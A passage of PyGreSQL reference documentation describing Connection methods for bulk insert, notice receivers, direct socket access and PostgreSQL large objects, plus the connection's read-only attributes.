Changed in version 4.1: Support for payload strings was added in version 4.1.
inserttable – insert a list into a table¶
-
Connection.
inserttable
(table, values)¶ Insert a Python list into a database table
Parameters: - table (str) – the table name
- values (list) – list of rows values
Return type: None
Raises: - TypeError – invalid connection, bad argument type, or too many arguments
- MemoryError – insert buffer could not be allocated
- ValueError – unsupported values
This method allows to quickly insert large blocks of data in a table: It inserts the whole values list into the given table. Internally, it uses the COPY command of the PostgreSQL database. The list is a list of tuples/lists that define the values for each inserted row. The rows values may contain string, integer, long or double (real) values.
Warning
This method doesn’t type check the fields according to the table definition; it just look whether or not it knows how to handle such types.
get/set_notice_receiver – custom notice receiver¶
-
Connection.
get_notice_receiver
()¶ Get the current notice receiver
Returns: the current notice receiver callable Return type: callable, None Raises: TypeError – too many (any) arguments
This method gets the custom notice receiver callback function that has
been set with Connection.set_notice_receiver()
, or None
if no
custom notice receiver has ever been set on the connection.
New in version 4.1.
-
Connection.
set_notice_receiver
(func)¶ Set a custom notice receiver
Parameters: func – the custom notice receiver callback function Return type: None Raises: TypeError – the specified notice receiver is not callable
This method allows setting a custom notice receiver callback function.
When a notice or warning message is received from the server,
or generated internally by libpq, and the message level is below
the one set with client_min_messages
, the specified notice receiver
function will be called. This function must take one parameter,
the Notice
object, which provides the following read-only
attributes:
Notice.
pgcnx
¶the connection
Notice.
message
¶the full message with a trailing newline
Notice.
severity
¶the level of the message, e.g. ‘NOTICE’ or ‘WARNING’
Notice.
primary
¶the primary human-readable error message
Notice.
detail
¶an optional secondary error message
Notice.
hint
¶an optional suggestion what to do about the problem
New in version 4.1.
putline – write a line to the server socket [DA]¶
-
Connection.
putline
(line)¶ Write a line to the server socket
Parameters: line (str) – line to be written Return type: None Raises: TypeError – invalid connection, bad parameter type, or too many parameters
This method allows to directly write a string to the server socket.
getline – get a line from server socket [DA]¶
-
Connection.
getline
()¶ Get a line from server socket
Returns: the line read
Return type: str
Raises: - TypeError – invalid connection
- TypeError – too many parameters
- MemoryError – buffer overflow
This method allows to directly read a string from the server socket.
endcopy – synchronize client and server [DA]¶
-
Connection.
endcopy
()¶ Synchronize client and server
Return type: None
Raises: - TypeError – invalid connection
- TypeError – too many parameters
The use of direct access methods may desynchronize client and server. This method ensure that client and server will be synchronized.
locreate – create a large object in the database [LO]¶
-
Connection.
locreate
(mode)¶ Create a large object in the database
Parameters: mode (int) – large object create mode
Returns: object handling the PostGreSQL large object
Return type: Raises: - TypeError – invalid connection, bad parameter type, or too many parameters
- pg.OperationalError – creation error
This method creates a large object in the database. The mode can be defined
by OR-ing the constants defined in the pg
module (INV_READ
,
INV_WRITE
and INV_ARCHIVE
). Please refer to PostgreSQL
user manual for a description of the mode values.
getlo – build a large object from given oid [LO]¶
-
Connection.
getlo
(oid)¶ Create a large object in the database
Parameters: oid (int) – OID of the existing large object
Returns: object handling the PostGreSQL large object
Return type: Raises: - TypeError – invalid connection, bad parameter type, or too many parameters
- ValueError – bad OID value (0 is invalid_oid)
This method allows to reuse a formerly created large object through the
LargeObject
interface, providing the user have its OID.
loimport – import a file to a large object [LO]¶
-
Connection.
loimport
(name)¶ Import a file to a large object
Parameters: name (str) – the name of the file to be imported
Returns: object handling the PostGreSQL large object
Return type: Raises: - TypeError – invalid connection, bad argument type, or too many arguments
- pg.OperationalError – error during file import
This methods allows to create large objects in a very simple way. You just give the name of a file containing the data to be used.
Object attributes¶
Every Connection
defines a set of read-only attributes that describe
the connection and its status. These attributes are:
-
Connection.
host
¶ the host name of the server (str)
-
Connection.
port
¶ the port of the server (int)
-
Connection.
db
¶ the selected database (str)
-
Connection.
options
¶ the connection options (str)
-
Connection.
user
¶ user name on the database system (str)
-
Connection.
protocol_version
¶ the frontend/backend protocol being used (int)
New in version 4.0.
-
Connection.
server_version
¶ the backend version (int, e.g. 90305 for 9.3.5)
New in version 4.0.
-
Connection.
status
¶ the status of the connection (int: 1 = OK, 0 = bad)
-
Connection.
error
¶ the last warning/error message from the server (str)


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